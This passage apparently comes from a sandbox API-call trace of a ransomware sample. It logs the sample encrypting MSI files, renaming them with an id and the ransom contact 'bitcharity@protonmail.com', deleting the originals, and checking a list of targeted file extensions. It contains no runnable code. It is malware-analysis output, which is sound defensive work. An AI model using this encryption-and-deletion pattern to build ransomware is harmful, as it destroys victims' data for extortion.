lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0137.412] SetEndOfFile (hFile=0x108c) returned 1 [0137.412] CloseHandle (hObject=0x108c) returned 1 [0137.574] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.574] SetEndOfFile (hFile=0x10a8) returned 1 [0137.592] CloseHandle (hObject=0x10a8) returned 1 [0137.592] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.593] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0137.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.808] lstrlenW (lpString=".doc") returned 4 [0137.808] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0137.808] lstrlenW (lpString=".docx") returned 5 [0137.808] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0137.809] lstrlenW (lpString=".pdf") returned 4 [0137.809] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0137.809] lstrlenW (lpString=".xls") returned 4 [0137.809] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0137.809] lstrlenW (lpString=".xlsx") returned 5 [0137.809] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0137.809] lstrlenW (lpString=".ppt") returned 4 [0137.809] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0137.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.809] lstrlenW (lpString=".zip") returned 4 [0137.809] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0137.809] lstrlenW (lpString=".rar") returned 4 [0137.809] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0137.809] lstrlenW (lpString=".bz2") returned 4 [0137.809] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0137.809] lstrlenW (lpString=".7z") returned 3 [0137.809] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0137.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.809] lstrlenW (lpString=".dbf") returned 4 [0137.809] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0137.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.809] lstrlenW (lpString=".1cd") returned 4 [0137.809] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0137.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.810] lstrlenW (lpString=".jpg") returned 4 [0137.810] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0137.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.810] lstrlenW (lpString=".doc") returned 4 [0137.810] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0137.810] lstrlenW (lpString=".docx") returned 5 [0137.810] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0137.810] lstrlenW (lpString=".pdf") returned 4 [0137.810] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0137.810] lstrlenW (lpString=".xls") returned 4 [0137.810] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0137.810] lstrlenW (lpString=".xlsx") returned 5 [0137.810] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0137.810] lstrlenW (lpString=".ppt") returned 4 [0137.810] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0137.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.810] lstrlenW (lpString=".zip") returned 4 [0137.810] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0137.810] lstrlenW (lpString=".rar") returned 4 [0137.810] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0137.810] lstrlenW (lpString=".bz2") returned 4 [0137.810] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0137.811] lstrlenW (lpString=".7z") returned 3 [0137.811] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0137.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.811] lstrlenW (lpString=".dbf") returned 4 [0137.811] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0137.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.811] lstrlenW (lpString=".1cd") returned 4 [0137.811] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0137.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0137.811] lstrlenW (lpString=".jpg") returned 4 [0137.811] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0137.811] lstrcmpiW (lpString1=".msi", lpString2=".com") returned 1 [0137.811] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0137.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0137.862] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=872448) returned 1 [0137.862] CloseHandle (hObject=0x10c8) returned 1 [0137.862] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0137.862] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0137.863] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.863] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.863] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0137.863] GetLastError () returned 0x0 [0137.863] ReadFile (in: hFile=0x10c8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0xd5000, lpOverlapped=0x0) returned 1 [0138.044] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xd5010, lpOverlapped=0x0) returned 1 [0138.060] ReadFile (in: hFile=0x10c8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.060] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x100, lpOverlapped=0x0) returned 1 [0138.060] SetEndOfFile (hFile=0x10c0) returned 1 [0138.060] CloseHandle (hObject=0x10c0) returned 1 [0138.766] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.766] SetEndOfFile (hFile=0x10c8) returned 1 [0138.774] CloseHandle (hObject=0x10c8) returned 1 [0138.774] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.775] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0138.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.775] lstrlenW (lpString=".doc") returned 4 [0138.775] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.775] lstrlenW (lpString=".docx") returned 5 [0138.775] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0138.775] lstrlenW (lpString=".pdf") returned 4 [0138.775] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.775] lstrlenW (lpString=".xls") returned 4 [0138.776] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.776] lstrlenW (lpString=".xlsx") returned 5 [0138.776] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0138.776] lstrlenW (lpString=".ppt") returned 4 [0138.776] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.776] lstrlenW (lpString=".zip") returned 4 [0138.776] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.776] lstrlenW (lpString=".rar") returned 4 [0138.776] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.776] lstrlenW (lpString=".bz2") returned 4 [0138.776] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.776] lstrlenW (lpString=".7z") returned 3 [0138.776] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.776] lstrlenW (lpString=".dbf") returned 4 [0138.776] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.776] lstrlenW (lpString=".1cd") returned 4 [0138.776] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.776] lstrlenW (lpString=".jpg") returned 4 [0138.776] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.776] lstrlenW (lpString=".doc") returned 4 [0138.776] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.777] lstrlenW (lpString=".docx") returned 5 [0138.777] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0138.777] lstrlenW (lpString=".pdf") returned 4 [0138.777] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.777] lstrlenW (lpString=".xls") returned 4 [0138.777] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.777] lstrlenW (lpString=".xlsx") returned 5 [0138.777] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0138.777] lstrlenW (lpString=".ppt") returned 4 [0138.777] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.777] lstrlenW (lpString=".zip") returned 4 [0138.777] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.777] lstrlenW (lpString=".rar") returned 4 [0138.777] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.777] lstrlenW (lpString=".bz2") returned 4 [0138.777] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.777] lstrlenW (lpString=".7z") returned 3 [0138.777] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.777] lstrlenW (lpString=".dbf") returned 4 [0138.777] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.777] lstrlenW (lpString=".1cd") returned 4 [0138.777] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0138.777] lstrlenW (lpString=".jpg") returned 4 [0138.777] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.778] lstrcmpiW (lpString1=".msi", lpString2=".com") returned 1 [0138.778] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0138.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0138.778] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=184832) returned 1 [0138.778] CloseHandle (hObject=0x10c8) returned 1 [0138.778] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0138.778] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0138.778] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.778] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0138.779] GetLastError () returned 0x0 [0138.779] ReadFile (in: hFile=0x10c8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x2d200, lpOverlapped=0x0) returned 1 [0138.883] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x2d210, lpOverlapped=0x0) returned 1 [0138.886] ReadFile (in: hFile=0x10c8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.887] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf4, lpOverlapped=0x0) returned 1 [0138.887] SetEndOfFile (hFile=0x10c0) returned 1 [0138.887] CloseHandle (hObject=0x10c0) returned 1 [0138.896] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.896] SetEndOfFile (hFile=0x10c8) returned 1 [0138.898] CloseHandle (hObject=0x10c8) returned 1 [0138.898] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.899] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0138.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.899] lstrlenW (lpString=".doc") returned 4 [0138.899] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.899] lstrlenW (lpString=".docx") returned 5 [0138.899] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0138.899] lstrlenW (lpString=".pdf") returned 4 [0138.899] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.899] lstrlenW (lpString=".xls") returned 4 [0138.899] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.899] lstrlenW (lpString=".xlsx") returned 5 [0138.899] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0138.899] lstrlenW (lpString=".ppt") returned 4 [0138.899] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.899] lstrlenW (lpString=".zip") returned 4 [0138.900] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.900] lstrlenW (lpString=".rar") returned 4 [0138.900] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.900] lstrlenW (lpString=".bz2") returned 4 [0138.900] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.900] lstrlenW (lpString=".7z") returned 3 [0138.900] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.900] lstrlenW (lpString=".dbf") returned 4 [0138.900] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.900] lstrlenW (lpString=".1cd") returned 4 [0138.900] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.900] lstrlenW (lpString=".jpg") returned 4 [0138.900] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.900] lstrlenW (lpString=".doc") returned 4 [0138.900] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.900] lstrlenW (lpString=".docx") returned 5 [0138.900] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0138.900] lstrlenW (lpString=".pdf") returned 4 [0138.900] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.900] lstrlenW (lpString=".xls") returned 4 [0138.900] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.900] lstrlenW (lpString=".xlsx") returned 5 [0138.900] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0138.901] lstrlenW (lpString=".ppt") returned 4 [0138.901] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.901] lstrlenW (lpString=".zip") returned 4 [0138.901] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.901] lstrlenW (lpString=".rar") returned 4 [0138.901] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.901] lstrlenW (lpString=".bz2") returned 4 [0138.901] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.901] lstrlenW (lpString=".7z") returned 3 [0138.901] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.901] lstrlenW (lpString=".dbf") returned 4 [0138.901] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.901] lstrlenW (lpString=".1cd") returned 4 [0138.901] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0138.901] lstrlenW (lpString=".jpg") returned 4 [0138.901] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.901] lstrcmpiW (lpString1=".msi", lpString2=".com") returned 1 [0138.901] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0138.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0138.902] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=94720) returned 1 [0138.902] CloseHandle (hObject=0x10c8) returned 1 [0138.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0138.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0138.902] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.902] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0138.903] GetLastError () returned 0x0 [0138.903] ReadFile (in: hFile=0x10c8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x17200, lpOverlapped=0x0) returned 1 [0139.073] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x17210, lpOverlapped=0x0) returned 1 [0139.079] ReadFile (in: hFile=0x10c8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.079] WriteFile (in: hFile=0x10c0, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf4, lpOverlapped=0x0) returned 1 [0139.079] SetEndOfFile (hFile=0x10c0) returned 1 [0139.084] CloseHandle (hObject=0x10c0) returned 1 [0139.090] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.090] SetEndOfFile (hFile=0x10c8) returned 1 [0139.092] CloseHandle (hObject=0x10c8) returned 1 [0139.093] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0139.094] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0139.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.094] lstrlenW (lpString=".doc") returned 4 [0139.094] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0139.094] lstrlenW (lpString=".docx") returned 5 [0139.094] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0139.094] lstrlenW (lpString=".pdf") returned 4 [0139.094] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0139.094] lstrlenW (lpString=".xls") returned 4 [0139.094] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0139.094] lstrlenW (lpString=".xlsx") returned 5 [0139.095] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0139.095] lstrlenW (lpString=".ppt") returned 4 [0139.095] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0139.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.095] lstrlenW (lpString=".zip") returned 4 [0139.095] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0139.095] lstrlenW (lpString=".rar") returned 4 [0139.095] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0139.095] lstrlenW (lpString=".bz2") returned 4 [0139.095] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0139.095] lstrlenW (lpString=".7z") returned 3 [0139.095] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0139.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.095] lstrlenW (lpString=".dbf") returned 4 [0139.095] lstrcmpiW (lpString1=".dbf", 